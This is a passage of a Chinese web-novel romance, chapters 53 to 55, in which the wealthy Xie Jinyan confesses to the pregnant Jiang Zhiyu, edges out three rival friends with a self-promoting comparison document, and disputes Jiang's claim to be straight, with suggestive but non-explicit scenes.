尽管知道是个误会,但不敢想象继续演变下去会变成什么。 因为谢津延自己都说服不了自己,再也找不到充足的理由解释他眼中窥探出去的浓烈欲望。 而和他一起长大的这群彼此之间再熟悉不过的人,又怎会不知道他们眼中流露的是什么的情绪,包藏的是怎样不怀好意的心思。 谢津延在自己家里看到黎清叙一副失态的样子注视着这个男人的时候就该察觉,已经有人起了觊觎的心思。 他定定地望着眼前一双努力迎上自己视线的眼眸,似是自嘲的语气,扯了扯唇角:“是啊,我是说过这样的话,也确实对男人没兴趣,可不知道怎么就在你身上失效了。” 江之遇呆了呆,再度用迟钝的大脑解析昭昭小叔的话。 还是觉得不可置信。 是哪里出问题了吗? 还是他在捉弄自己。 江之遇知道自己性格温吞迟钝,很多时候不能第一时间理解别人的意思,总是后知后觉。 所以他喜欢简单明了用双手就可以付诸行动和回报的事物,不需要更多地去揣摩别人的心思。 也越来越自在他给自己搭建的这样一个简单平凡的小窝和简朴的生活方式。 他想了又想想不明白。 即使知道这是个男人可以和男人相恋的世界。 主要是他们之间的差别实在太大了。 江之遇涨红了脸,支支吾吾道:“我还是觉得你可能是哪里弄错了,你怎么会喜欢我呢?是不是出于责任感要对孩子负责?” “还有……”他又想到一种可能,“你是不是因为那天晚上的事情想要对我负责?” 江之遇连忙摆手:“你不用对我负责的,我说过,那天是意外,你当时控制不住自己,我也看在昭昭的份上不和你计较,我们就都当什么事都没有发生过,我也不是女孩子,不需要你对我负责的。” “你是这样认为的?”谢津延看他这双红润的唇瓣又像那晚一样喋喋不休地吐出一堆话。 他心情很是复杂。 江之遇茫然:“不然呢?你都说了你不喜欢男人,虽然你说到我这里失效了,可也许是你弄错了什么。” “就好像,”他努力寻找措辞,“就好像有些人误把一些别的情感当成喜欢,你可能也是这样。” “是吗?”谢津延这次心情倒没有那么复杂了,只盯着男人一张快要拧巴到一起的隽美的小脸。 上面写满了茫然和纠结,又铺了一层绯丽的红,努力给自己找理由,很漂亮又很好欺负的样子。 谢津延忽而笑了下,乜斜起狭长漆黑的眼眸,盯着男人这张不知道怎么办的脸。 “那想亲你的这种喜欢也是弄错了?” “你说什么?”江之遇听到他突然说出的这样一句话,一瞬间睁大眼眸,以为是自己的耳朵听错了。 他在说什么啊,想亲自己? 谢津延最喜欢看他琥珀一样的漂亮眼眸一下子睁大,瞳仁微扩,流露出震惊的情绪,就特别像受到惊吓的小兔子,让人心生怜爱又忍不住想欺负。 谢津延:“我说我没有弄错对你的感觉,因为我总想亲你,抱你……” 剩下的话没有说完,嘴巴被捂住。 熟悉清新好闻的草木清香袭来,还有一阵淡淡的木屑的味道将他包裹。 他的嘴唇贴着他手心的温度,覆着一层薄茧的粗粝触感也在他的唇上刮蹭着。 还有脸颊上的皮肤。 呼吸纠缠着他手心的温度,草木清香和木屑的味道灌入鼻腔。 谢津延感受到自己的胸腔在剧烈跳动。 捂着自己的呼吸也在烧灼,他感觉他的手指在发烫,而自己的嘴唇也快要烧起来。 一下子变得干渴难耐。 江之遇不知道这个动作对眼前男人来说具有多么大的诱惑力。 他有一瞬觉得手心有些痒,也很烫,似乎被什么软热的东西擦过。 他只伸手捂住男人的嘴,磕磕绊绊的,脸涨的更加通红:“你、你快闭嘴,别说了。” 屋子里还有其他三个人在,这个男人是怎么说出想要亲他、抱他这样让人感到无比羞耻的话。 第54章 第 54 章 我不想你给宝宝找一个后…… 江之遇觉得很是羞耻。 比之前在包厢顶着众多好奇隐晦的视线拿出孕检单告知眼前这个男人自己怀孕的事还要感到羞耻。 他能感觉到自己的耳垂和脸颊在发烫, 手心也烫。 真是的,这个男人平日里惜字如金,可偶尔说出的话又总是弄得他不知道怎么办好。 他捂了捂对方的嘴, 阻止昭昭小叔继续说下去。 虽然江之遇不知道他后面会说什么, 可总感觉会是更羞耻的事。 毕竟这个男人可是被别人撞见做那种事, 非但不下去, 反而更加兴奋的人。 江之遇脖子颈更红了, 捂着男人的嘴, 眼睫不住地颤动:“我、我们出去说吧。” 谢津延拿开他的手,草木清香和木屑的味道拉远,他握住这截手腕, 沉冷视线掠过一旁面色各异脚步却未挪动分毫的发小们:“要出去不也应该是他们出去吗?” 谢津延冷嗤,朝他们挑了下眉梢:“你们还要在这里围观多久?” 黎清叙脸上的表情有些难看, 不可否认刚才那一幕让他心里很是烦躁和酸涩, 却仍维持着面部的斯文,得体笑了笑:“我主要等着看后续呢。” “上次昭昭养父一纸断绝关系协议书让我很是惊讶, 不知道这次他又要找什么理由拒绝你。” “我看你还是不要让他为难了。” 谢津延面色变了变, 但也只是一瞬, 随后又扯起唇角讥讽的弧度:“不管怎样,我好歹有被拒绝的机会,不像有些人,只会背地里耍阴招,表面一套背后一套。” “其实, ”谢津延忽而弯起唇角, 走到这位发小面前,像他平常的习惯一样,也用手在他肩上轻轻拍了拍。 “我挺感谢你的, 黎清叙,要不是因为你,我也不会白得这样一个机会。如果有一天我结婚了,一定在贵宾席给你留个最尊贵显眼的位置。” 黎清叙:“……” 平生第一次想爆粗口。 黎清叙极力压制住心中的火气和想要爆粗口这种与他君子气度不相符的冲动,大度笑了笑:“那祝你父凭子贵,愿景成真,别最后又当着好兄弟们的面闹笑话,还挺替你尴尬的。” 说完,黎清叙迈开长腿,离开工具屋。 只是走到门前又折回一步转过身,冲一脸羞窘懵然却更让人心动难耐的美人扬起斯文笑意:“还记得我给你做产检的时候问过你的话吗?” 江之遇愣了下,想了想不记得,有些茫然:“什么?” 黎清叙桃花眼笑得和煦迷人:“我那时有一句话想问你,却被阿延他们打断了,我想问的是,你有没有想过以后给孩子找一个后爸,你也看到了,你身边的优质男人并不只有阿延一个,或许如果你不打算接受阿延的表白,可以看看其他人,不要一个人这么辛苦。” 这句话说完,黎清叙就笑着离开了,脸色也没再那么难看,心情又重新变得很愉悦的样子。 江之遇怔了怔,隐约记起他好像是问过这样一句话有头没尾的话。 给孩子找后爸? 看看其他人? 谁? 江之遇茫然的眼眸望了一眼穿过葡萄藤架离去的风度翩翩的身影,又望向屋子里两外两个男人。 一个眸色清冷,却覆着不明的晦涩,平静湖面底下涌动着什么一样。 他视线对上这道目光,就有一种裸.露在外的皮肤被这样意味不明的眼神寸寸剥开的感觉。 江之遇心脏一惊,连忙移开眼。 却又猝不及防撞见祁少爷定定注视着自己的眼眸,倒没有霍少爷那样看不分明,小太阳一样眸色透亮。 但好像有点炽热,还有些闪躲。 他看过去这一眼,这张帅气张扬的脸立刻以肉眼可见的速度变红。 江之遇一时间有些懵。 想到黎少爷刚才留下的那番话,他说的那些人该不会、该不会就是他们这几个昭昭小叔的朋友吧? 江之遇觉得自己的大脑又转不动了,像是突然塞进了许多棉花,又像是被无数根丝线缠裹,变得混乱不堪。 而这时,他听霍少爷开口,嗓音还是一惯的清冷,听不出任何情绪,仿佛刚才的对视是自己的错觉。 “今天打扰了,谢谢你提供给我的信息,改日我再登门道谢。” 说着,霍岭生薄薄眼皮下的清冷眼眸扫了一眼还傻傻站着的另一位发小。 祁焰红着脸,虽然觉得自己今天很无辜,可当前的状况再待下去保不准阿延又会给自己一拳,说不定下手会更狠。 他跟着离开了之遇哥的家。 走出门,越发觉得自己委屈。 明明是他们烧起来的战火,为什么非要连累上自己。 他只是想拍个视频而已。 对了,视频! 祁焰连忙打开手机,翻到相册。 啊啊啊,刚才发生了那么混乱的事情,他想拍的之遇哥根本没有拍到! 这段视频内容也糊成了一团。 祁焰心里很是忧伤。 他语气失落地喃喃道:“你说,之遇哥会答应阿延的告白吗?怎么说也是孩子的生父,万一之遇哥念在孩子的面子上心软了呢?” 前方清冷的身影似是怔了几秒,脚步也微微有些停顿。 霍岭生脑海里回放着刚才男人的手捂住发小嘴的画面。 那么近的距离,他的手覆在自己手背上会有一种细细刮蹭的感觉,激起微弱的电流,让他的手和心都痒痒的。 不知道磨到嘴唇上是什么样的触感。 霍岭生眸色一瞬幽暗,不显情绪的清冷面上竟也掠过一抹不耐和燥意。 “你不说话没人把你当哑巴。” 祁焰:“……” 三个人走后,屋子里终于再没有别人了。 江之遇大脑依旧混乱着,过了许久,才反应过来屋子里就剩下了他和昭昭小叔。 这是比有人在更让江之遇感到不自在的时刻,之前每次和这个男人独处时,他都有一种周围的空气被攫取,连空间都被挤压的感觉。 别提现在这个男人刚对自己表过白,说想亲他抱他。 他不是没被他亲过抱过。 准确来说根本不是亲,更像是在他口中肆掠。 他稍一反抗,男人就会惩罚一般咬他嘴唇,吸他舌头。 江之遇到现在都记得那种被吸噬的头皮发麻的感觉,最后舌头变得失去了神经一样,他让自己伸过去就伸过去。 因为不听他的话,这个男人就会更凶地对待自己。 他抱自己也不是抱,而是把他托起,抵在门上,手臂上浮动着可怕的青筋,像是要把自己钉在他身上。 江之遇一个激灵。 不知道为什么会勾起这样的回忆。 他只知道今天受到的冲击有些多,他不知道怎么应对眼前这个男人了。 江之遇张了张口,想说点什么。 而这时,他听昭昭小叔开口问:“你中午打算吃什么?我帮你摘菜洗菜。” 江之遇:“?” 他茫然了一瞬,告诉他:“黄瓜小炒肉。” 谢津延便二话不说去菜园里摘黄瓜。 之后,两人一起做了饭,吃了午饭。 吃完饭,江之遇被让先去睡午觉。 他感觉大脑晕晕乎乎的,很是混乱,又很意外。 他以为霍少爷黎少爷那群人走后,他们之间第一件要解决的事情便是刚才昭昭小叔突然说喜欢他,后悔在协议单上签字的事。 尽管自己还不知道要怎么应对他。 江之遇睡了个极其不安稳的午觉,脑子里有很多事,被冲击的余波让他根本停止不了大脑迟钝地转动。 可是孕期带给他身体上的反应和嗜睡症状又让他很快撑不住眼皮。 结果就是,他这次午睡睡了快两个小时,全程不断在做梦。 先是又梦见宝宝了。 接着山脚机械响动声停下,缆车和悬崖电梯建好,他和宝宝一起坐着缆车在空中快乐地飞过。 然后是小肚子上传来有些凉凉的被什么东西挤压的感觉。 黎少爷扬着桃花眼,问他想不想给孩子重新再找一个父亲。 还有霍少爷意味不明的眼神,像藏着暗流的深湖,突然将自己拽进冰冷的湖底。 湖底一片漆黑,水草像从四面八方缠过来的水蛇一般将他从手到脚缠裹住。 他产生了溺水的感觉,呼吸困难,肺部也像被挤压了一样。 只看到头顶远远悬着一轮太阳,祁少爷那总是像夏日烈阳般帅气的脸浮动在水波荡漾的湖面。 他冲自己笑。 随后脸部像着了火一样,火光在湖面蔓延开。 江之遇觉得自己快要溺毙了,在他一点一点往湖底坠下的时候,嘴唇忽然被含住。 熟悉的气息过渡到口腔,他像渴水的鱼获得新生一样,疯狂攫住这丝氧气。 然后等他感到可以呼吸,好似活过来的时候,含住他舌头的人俊逸五官在眼前放大。 漆黑的眸,薄唇挑起似笑非笑的弧度,在他唇瓣上撕咬了一下,更像是舔.弄。 “你是说这种喜欢也是搞错了?” 江之遇一下子醒了。 醒来,感觉额头汗水涔涔的。 他茫然地坐在床上,揪着被子。 午后,他的小院安逸静谧,能听到窗外树枝上的鸟叫和远处山底机器的声音。 江之遇脑海里还浮现着刚才梦中的画面,唇瓣和口中呼吸清晰。 他一时分不清上午发生在工具室里的事和梦里的景象到底是真是假的,还是一切都只是一场虚幻的梦境。 过了许久,他听到卧室外面好似有人压低声音在打电话,听不分明,但江之遇几乎是下意识就认定是昭昭小叔在处理公司的事。 他呆了呆。 随后又看到自己的卧室房门落了锁。 他没有锁门的习惯,甚至有时候还会开着门,这会儿注视着紧闭的房门,想到昭昭小叔早上离开前叮嘱自己关门锁门的话。 没想到才过了半天不到,他就这样做了。 也是这个时候,江之遇才依稀反应过来昭昭小叔的本意不是让他防盗贼和小偷,而是防昭昭小叔自己。 他该不会真趁自己睡着亲自己了吧? 不然那种舌头被吸的发麻的感觉怎么那么熟悉清晰? 还有放大在自己眼前的俊逸五官。 可是,这座屋子里所有房门的钥匙又只有他一个人有。 江之遇耳根一热,拍了拍自己的脑袋,努力驱散脑海中这些又吸又吮的画面。 被他们这些人尤其是昭昭小叔弄的,江之遇觉得自己都变得奇怪了。 他换了身衣服,收拾好床铺下了床。 手心握上卧室门把手的时候,整个人顿住。 因为江之遇还没想好要怎么应对门外的人。 他怎么不回公司啊。 江之遇这时候特别想念养子,要是昭昭在就好了。 昭昭在的话他就不用自己一个人面对那个男人。 江之遇在房门前站了许久,最后觉得总是要面对的,不行就告诉对方自己不喜欢男人。 虽然他和男人做了那种事,这个世界男人也可以和男人相恋,可他一直都是直男没错,不能接受对方的心意。 而且他们还是昭昭养父和昭昭小叔的关系。 这样想着,江之遇硬了硬头皮打开房门。 昭昭小叔果然在办公,被临时当作办公桌的方木桌上摆着他每次来这里都会带回来的办公电脑、平板等各种办公设备。 除此之外,还有很多文件。 如果不是自己这屋子简陋,上午和他短暂通了会儿视频通话,粗略看了眼他会议室的景象,江之遇还以为昭昭小叔把办公室搬来了自己这里。 “真是的,这么忙还要专门飞过来打自己的好朋友一顿,还有时间和别人表白……” 江之遇忍不住咕哝一声。 他这声小声嘀咕恰好被谢津延听到了。 男人从方木桌前转过头,漆黑眼眸朝他看来。 江之遇身形一僵,站在原地,有种之前被什么钉住的熟悉错觉。 “你过来看一下。”男人冲他招招手,电脑屏幕对向他。 “这是我从小学到大学毕业的全部履历,还有我的个人资料及家庭背景以及当前我所掌管的谢氏集团所拥有的全部股份和资产明细。” “你给我看这些做什么?”江之遇一脸茫然地走到电脑前,被他胳膊不动声色揽住,在椅子上坐下。 谢津延却没回他,只修长手指滑动鼠标,让他看电脑上的内容。 江之遇一脑袋问号,却还是好奇地看过去。 于是便看到眼前的电脑屏幕上哗哗哗翻过许多页面。 江之遇一直都知道谢家是北城百年基业的豪门大家,资产遍布全世界。 然而当他看到昭昭小叔给自己展示的,才知道自己的想象有多贫乏。 他看到数不清多少0的数字在眼前纷飞。 豪宅、游艇、私人飞机、古董等眼花缭乱的图片在眼前一幕又一幕闪现。 还有他看不懂的乱七八糟的股权和权利构架图,一直名列前茅的成绩单,许许多多奖杯。 还夹杂着几张应该是大学军训还有打篮球时什么人偷拍的照片? 之所以这么认为,是因为江之遇看到那几张照片拍的有些糊,视角拉的比较远。 但尽管如此,依旧掩盖不住的照片上的人浑身散发的致命吸引力。 甚至因为朦胧的视角,显得他整张侧脸特别优越帅气。 依旧拽着张冷脸,眼皮微微撩起,神色淡漠,有种什么都进入不了他视线的漫不经心和疏离。 但面部线条没有现在这么锋利,周身的气场也没有那么压迫人。 而且因为是学生时代,看上去只有十八九岁的样子,身上多了种江之遇从来没见过的青涩和少年气。 这是江之遇从来没有见过的昭昭小叔。 他视线在这几张照片上停留了几秒,被男人翻过。 说是宋秘书整理资料不知道从哪里找来的误放了进去。 江之遇迷惑了瞬,没去想他这话的真实度,就又见他给自己翻起了家谱。 他告诉自己他们家的人都是比较深情的人,认定一个人就会从一而终。 他父母是,大哥大嫂也是。 “我大哥大嫂是从小一起长大的青梅竹马,是彼此的初恋和结婚对象。我父亲看到我母亲第一眼,就打算把她娶回家,他后来也做到了,追了我母亲很多年。” “你为什么要告诉我这些?”江之遇很为他家人的爱情故事动容,甚至他大哥大嫂的事自己暂住在谢家那段时间听谢家的佣人们提起过。 感情很好,让人羡慕的一对夫妻。 只可惜…… 江之遇垂下眼眸,心里有些难过。 为这样一份动人的感情,也为他失去亲生父母的养子昭昭。 江之遇听昭昭小叔讲述的他大哥大嫂的爱情,打算以后要对昭昭更好,弥补昭昭缺失的父母的爱。 可他还是不懂眼前的男人为什么要给自己看这些。 而这时,他看昭昭小叔又打开一份文件。 同样是一份分析表格,列举了许许多多的事项,他一时看不太清。 只目光被文件上粗大醒目的标题吸引—— 《关于我与三位发小谁更适合你的条件对比和优势分析》 江之遇:“???” 江之遇睁了睁眼眸,没太理解这个标题的含义,以及他怎么会弄出这种文件。 “你、你到底要做什么?” 江之遇觉得自己的大脑又转不动了。 他今天是怎么了?为什么会遇到这么多奇奇怪怪让他感到费解的事。 然后就见男人握住他的手,漆黑眼眸直直看向他的眼睛,嗓音低敛,又似是带了份低落和委屈。 “我不想以后我的孩子叫别的男人爸爸,也不想你给宝宝找个后爸。” 第55章 第 55 章 和我亲 给宝宝找后爸? 江之遇隽秀面庞上的表情怔愣了一瞬, 随后反应过来什么,涨红了脸:“谁跟你说我要给宝宝找后爸了。” 而且为什么是后爸,就不能是后妈么。 他就一定要和男人搅合在一起吗。 江之遇在心里咕哝。 不对, 问题是他压根就没有想过这个问题。 谢津延听他没有要给宝宝找后爸的打算, 眉目稍稍舒展开, 却还是没忘记黎清叙临走前说的那番话。 “但是万一哪天你有这个想法了?总不能让孩子以后处在单亲家庭中, 要是他也像别的小朋友那样渴望双亲的爱, 你要怎么做?” 渴望双亲的爱, 单亲家庭? 江之遇懵了下,有些被问住。 他没想过这种问题。 因为他自己是被从小遗弃的,没有父母, 没有完整的家庭,收养他的老爷爷又很快过世, 他没有在一个有父有母, 和谐完整的家庭中长大。 觉得自己一个人带宝宝就可以,只要自己给足宝宝所有的爱, 宝宝一定可以健康快乐地成长。 可是……真的会这样吗? 江之遇秀气的眉头拧了拧。 不可否认, 小时候很多次看到村里别的小朋友被爸爸妈妈喊回家, 即便被唠叨,被用小树杈在院子里追着骂为什么要调皮捣蛋,他心里也是羡慕的。 因为他连这样的机会都没有。 江之遇一时不知道要怎么回答昭昭小叔的话。 他的迷茫和纠结被谢津延看在眼里。 谢津延道:“我知道我们两个人是意外,那天晚上是我不对,我不应该控制不住强迫你, 但是现在已经没有回头的余地了, 你想把宝宝生下来,而我喜欢你,或许我们可以认真考虑一下这个问题。” “你能不能不要总是把喜欢这样的字挂在嘴边……” 江之遇还是没能从今天的冲击中缓过神, 被男人告白,又被男人张口闭口说喜欢。 这个男人还是他养子的亲小叔,江之遇总感觉很不自在。 谢津延沉默一瞬:“好,我不说了,既然你想要这个宝宝,而我又对你抱有异样的心思,那天在包厢太过意外和突然,你走得又匆忙,我们其实有很多事情都没来得及谈,现在能不能都冷静下来谈谈这件事。” “怎么谈呢?”江之遇听这声异样的心思,感觉更奇怪了。 谢津延道:“你也看到了,现在除了我,我的三个朋友也对你不怀好意。” “等等,”江之遇忍不住打断他,磕磕绊绊地问,“你、你怎么确定你的朋友也对我有那种意思,我又不是什么香饽饽,人人都喜欢,你会不会又搞错了。” 谢津延又沉默了一瞬,告诉他:“因为我们是从小一起长大的,比任何人都要了解彼此,他们看你的眼神和我太像了,都是男人,我清楚他们心里在想什么。” “你看我什么眼神?”江之遇想起上午他给自己打视频通话找文件的时候也说过这样的话,下意识又疑惑问了句。 问完,有些后悔。 因为他觉得自己已经能预料到对方要说什么。 果然,江之遇说完这句话,就见眼前男人顶着一张冷厉矜贵的脸,像之前在卫生间撞见他做那事一样,用喝水谈天气般四平八稳的语气说着令人无比羞耻的话:“想亲你抱你,把你按在墙上。” 江之遇:“?” 江之遇一下子从椅子上站起,杏眼睁大,写满了震惊和不可置信。 怎么除了想亲他抱他,还多了一个想按他? 把他按墙上? 是像那天晚上被他按在墙上那样折腾吗? 江之遇感觉脑门冲上一股热气,耳根红得快要滴血,舌头也好像打了结,都不知道自己要说什么。 最后纠纠结结半天,在脑海里措辞了许久,也只羞愤地问出一句:“你、你什么时候有这种想法的?” 谢津延面色平静道:“上次在水池边你说我凶的时候。” 还有更早之前,就想把他抵在一个狭小的空间,看男人像无处可逃的小动物一样,露出受惊又隐忍难耐的表情。 江之遇整个人都呆住了。 努力回忆男人口中说的事。 是说陪他一起去找乡长,路过有会啄人的大鹅的池塘边,被他抵在树干上问自己他给人是什么感觉那次? 江之遇眉头纠结。 现在回想,那天昭昭小叔是挺奇怪的。 把自己抵在树上后压得很近,有一瞬间江之遇能感觉到他的视线落在自己唇上,化作实质一般,在唇瓣上摩挲逡巡。 那么近的距离,呼吸炽热。 江之遇真怕他一低头,嘴唇就和自己磕碰到。 还有一种被睡梦中粗壮藤蔓缠住的禁锢感。 原来不是自己的错觉。 江之遇大脑轰轰的,热气直往头顶上涌。 没想到这个男人一脸矜贵淡漠,看上去又冷又拽的,内心竟然这么、这么…… 江之遇一时都找不到合适的词汇来形容他。 只抿了抿唇,闭紧嘴巴,不敢再问什么,生怕从这个男人口中又蹦出什么让自己招架不住的话。 两人陷入了一时的静默。 最后,谢津延伸手捞住他重新在椅子上坐下:“你别担心,我只是心里想想而已,不会真的对你做什么,我自制力很强。” 你自制力很强? 自制力强,那天晚上就不会一而再二而三地把他拖回身下。 自制力强,就不会火气那么大,动不动就起反应,在卫生间一纾解就是大半天。 江之遇被他有力的手臂箍着,忍不住又想站起来。 谢津延扣住他的腰:“我们来继续谈宝宝未来爸爸的事情吧。” 江之遇一听宝宝的事情,又挣不开,只好在椅子上坐稳。 他这种又羞又怯,还又挣脱不开,只能被迫缩在自己身边的模样看得谢津延心念又是一动。 谢津延万幸自己今天赶了回来,及时赶走发小们,弄明白自己的心意。 不然不敢想象被他这几个居心不良的朋友们抢占先机会是什么样的后果。 谢津延行事风格就是这样,一旦明确目标就会快速出手,不拖泥带水,无论用什么样的手段都无所谓。 而且在他看来,分毫分秒之差就会延误各种时机。 所以无论如何,谢津延在已经明确了心意,知晓这段时间种种心绪波动的缘由是眼前这个男人。 他从这一刻起,再也不会做那个大雨滂沱的雨天,在协议单上签字放这个男人离开这样让自己后悔的事。 谢津延于是问道:“你是不是很喜欢这个宝宝?” 江之遇偏了偏头,看到他离自己很近的侧脸:“那当然,这是我肚子里的宝宝,我当然很喜欢。” 谢津延:“……” 谢津延:“那你以后一定想给宝宝特别幸福美满的生活对吗?” 江之遇:“那还用问吗?” 哪个父母不是这样对自己的孩子? 不对,他的爸爸妈妈不是…… 不过也许他们有什么苦衷也说不准,不是故意要遗弃他。 好吧,江之遇很难说服自己。 谢津延认真道:“这样的话,光靠你一个人可能有些辛苦。因为研究表明,双亲家庭比单亲家庭的孩子更容易获得幸福感,对孩子的成长也更有利,尤其是父母感情好,家庭氛围和谐的情况下。” “我知道。”江之遇怎么能不明白这些道理,“可是……” 话未说出口,就见昭昭小叔把刚才那份标题写着关于他和发小怎样怎样对比的文件放大到自己眼前。 随后说道:“所以我准备了这个,你看一下。” 谢津延将第一份对比罗列在男人面前:“黎清叙,高智商研究型人才,上学时期跳级跳不断,有他在,孩子的功课一定没问题。但我的智商也不差,除了上次和你说的诗朗诵比赛是个意外,其他时候一直都是名列前茅。” 江之遇茫然:“啊,我看到了,你刚才给我看过好多奖状和奖杯,还有幼儿园的小红花。” 谢津延嗯了声:“所以虽然黎清叙智商很高,但他人比较花心,常常招蜂引蝶,上学时期从来不拒收情书,我就一封都不会收,和黎清叙这样的人在一起以后肯定会很辛苦,对孩子的影响也不好,说不定会早恋。” 早恋? 江之遇拧了拧眉,没太跟得上昭昭小叔跳跃的脑回路。 智商和花心有什么联系吗? 而且他肚子里的宝宝还没出生,怎么就扯到早恋了? 他张了张口,有许多疑惑要问。 可是昭昭小叔又打开了第二份比对:“霍岭生,和我同龄,上学时也一直同班,连身高都一样。我承认岭生是一个很优秀的人。” 这是让谢津延挑不出毛病的一位发小:“成绩优异,品格端正,身上几乎没有一丝缺点。” 曾经谢津延一直和这位发小争第一第二,他们被并称为学校的双子星,彼此之间竞争却从不影响兄弟情分。 然而…… “岭生性格有些沉闷,比我还闷,和这样的人待在一起会比较无趣。” 最重要的是,岭生家的情况太过复杂。 谢津延无意审视发小的家事,可像男人这样小白兔的性子,到了那里无意于羊入虎口,被拆吃的骨头都不剩。 而且霍伯父又是道德底线那么低的一个人。 谢津延眸色暗了暗:“总之岭生最不适合你。” 江之遇:“我……” “还有祁焰。”谢津延打开第三份比对,“他家各方面倒是很好,家庭氛围和谐,从政人员较多。祁焰也没有不良嗜好,就是有点笨,成绩常年吊车尾,没办法给孩子做课业辅导。” “主要是他太幼稚了,只能当弟弟,不能当老公。” “你不也没比祁少爷大多少,你就适合当老公吗……” 江之遇小声嘀咕。 “你说什么?”谢津延这次没听太清。 江之遇的脸一直就没有褪下去热意:“我是说、我是说你为什么要跟我说这些,我又没说要给宝宝找后爸。” 谢津延心情变得十分愉悦:“我只是让你看清,如果哪天你改变想法,你身边的这些男人并不合适。” “可是……”江之遇拧了拧眉,终于插上去话,“就算是这样的话,我为什么一定要在你们几个当中找?我就不能给宝宝找个后妈吗?” “给宝宝找后妈?”谢津延凌厉分明的五官掠过一瞬诧异。 江之遇硬了硬头皮:“是啊,其实我刚才一直想告诉你,我不喜欢男人,是个直男。” 得知自己怀孕后,江之遇查了许多这个世界的信息,知道取向不是男人的统称为直男。 江之遇在原来的世界没结过婚,也没有遇见过喜欢的女孩子,但他觉得自己是直男没错。 “你……不喜欢男人,直男?”谢津延听了这句话,先是一怔,随后神色有些怪异。 江之遇点点头:“如果不是这个意外,我都在存钱娶老婆了。” 还要存钱娶老婆? 谢津延面上的表情一时变了又变,最后神色有些冷凝,刚才舒展开的眉头迅速拧在一起。 他薄唇抿成一条直线,整个人陷入了沉默当中,黑眸微微闪烁,酝酿着江之遇看不懂的晦暗情绪。 江之遇不知道他在想什么。 可是,憋了大半天不知道怎么回应昭昭小叔的告白终于找到了理由。 江之遇其实舒了一口气。 尤其是还牵扯到他这几个朋友。 江之遇打算告诉昭昭小叔,他不会给宝宝找后爸的,因为他不喜欢男人,也压根没想过这个问题。 却见男人漆黑眼眸凝在自己的脸上,低沉嗓音开口道:“你怎么确定你是直男,不喜欢男人?” 江之遇:“?” 江之遇愣了愣,被他问懵了。 “我、我……” “我记得那天晚上你反应很大,很敏感,我一碰你,你就受不了,一直抖个不停。” 江之遇睁大眼眸,花了很长时间才弄明白男人说的是什么。 他脑海里一瞬间闪过无数羞耻的画面。 掐他腰窝,腿掰起。 江之遇以前都不知道人体极限会这么大,觉得自己的身体都要被折成两半。 抬眼,就是昏沉光线下的一团泥泞混乱。 坠着淋漓汗水的俊逸五官,窗帘大开,酒店外面的灯光落了进来,还有雨过天清后露出云层的一丝皎皎月光。 江之遇就是借着这些光亮,撑着眼皮,手指插进他发丝,想推开他。 可很快就没了力气。 身体也激出了一阵又一阵奇怪陌生的感觉。 像在砧板上跳动的鱼,凭最后一点本能和知觉挣扎几下。 江之遇的脸烧得火热,努力为自己分辩:“那是因为我是个正常的男人,你就是对头猪这样又吸又掐又舔,它也不会一点反应都没有,说不定还会用猪蹄踢你。” 谢津延:“……” 谢津延一时神色古怪,脸上的表情变化莫测。 江之遇见他似乎陷入了某种怔愣,连忙趁机掰开他箍在自己腰上的胳膊起身悄悄离开方桌前。 宋秘书在这时打过来电话:“谢总,今天还有一个重要的会议。” 谢津延:“你帮我连线,尽量快点结束,我还有重要的事情。” 宋秘书:“好的。” 下午,江之遇就把自己锁在木屋里做木工,修复摔断脖子的长颈鹿,努力转移自己的注意力,不要被今天昭昭小叔还有他的几个朋友影响。 不过总是不能像之前那样全神贯注,毕竟冲击太大了。 他长这么大,还是第一次被男人告白,这个人和自己的情况太复杂,第一次见面就发生了那样的关系。 一开始,江之遇还能当作是一个意外,男人和男人之间闹出的丢人的玩笑事,他也当被棍子捅了一晚。 可后来发现不是这样,男人真的能和男人干那事。 他还因此怀孕了。 最重要的是,让他怀孕的这个男人是自己找了好久的养子的亲小叔。 男人当初一副骄矜淡漠,不愿和自己有半分牵扯的样子,也在那份断绝关系的协议书上签了字。 现在却跑来乡下告诉他,他喜欢自己。 对自己有那种想亲想抱的想法,分明他不止一次对自己说过对男人没兴趣。 尤其是他还说他的三个朋友也对自己有奇怪的想法。 江之遇觉得不可思议,很是混乱。 他一个乡下人,和这些金尊玉贵的少爷们天差地别,他们怎么可能会喜欢自己? 何况他还怀了孕,带了孩子。 江之遇实在不理解昭昭小叔的脑回路。 心情很乱地修复好小鹿,天色已经降了下来,窗外收进的一方夜幕上挂了几颗疏散的星星。 江之遇知道昭昭小叔还在外面办公,没回公司。 他踌躇了片刻,还是出了门。 要吃晚饭了,他还要给笼子里的垂耳兔喂东西吃,不能饿到小兔子。 这样想着,江之遇走出工具室。 昭昭小叔一直叮嘱自己离他的朋友们远一些,说那些人不怀好意,可明明他自己才最可怕。 出去的时候,昭昭小叔还在开视频会议,之后一个电话接一个电话没有停。 中途乡长有事过来找了他一趟,两人一起去了山下正在建设的工程部。 回来时又比较晚,不过这次是在自己睡觉之前,墙上挂钟的指针还没有指向九点。 江之遇给他开了门,看月色下一个高大俊拔的身影。 身姿站立如松,忙碌一天,面容不显疲惫,西装依旧整洁,还是一副惹眼的帅气模样。 “你不是说以后尽量晚上不打扰我了吗?” 江之遇看着门外的人,没忘记他早上说的话,这才一天不到,就没有遵守。 谢津延拂去袖子上细小的尘灰:“因为还有重要的事情要做,我今天不能离开。” “什么事?”江之遇很是纳闷。 对方却没回,而是吃了点自己给他留的晚饭就去了卫生间。 等洗完澡,换了身干净的睡衣出来,他敲响自己卧室的房门。 “你下午说我那样对你,即使是头猪也不会没反应的说法我思考了一下,有道理。” 亮着橙润灯光的屋子里,男人高大颀长的身影立在自己的卧室房门前。 洗去一天奔波,他身上木质沉香的味道淡了些,沾上自己家草木清香的沐浴露的味道。 总是打理得一丝不苟的黑色发丝垂下,被毛巾揉得有些散乱。 面部轮廓被橙润灯光照出柔和的弧度,倒有点江之遇下午不经意在他电脑上看到的那几张十八九岁照片上的青春年少时的模样。 江之遇不明白他洗完澡为什么要到自己房门口说这样一句话。 更没想到他还会思考这样的问题。 他的脑子到底在想什么? 为什么能一心这么多用。 江之遇十分不能理解,也佩服他的精力。 “所以呢,你想要说什么?” 谢津延垂眸看他:“所以我想向你道歉,不应该用这样的方式给你下是不是直男的定论。” “哦,我没在意。”江之遇没想到他专门找自己是为了这种事。 只要不是再跟自己比较他和他的三个朋友谁更适合当宝宝的后爸就行。 “不过我还有一个证明方式。” 忽然,江之遇听他开口说。 “什么?”江之遇迷惑地眨了眨眼。 谢津延:“人会屈从于身体的生理反应,迫于某些无奈的因素,直男在某些特定的情况下也会有感觉,但亲吻不会。” 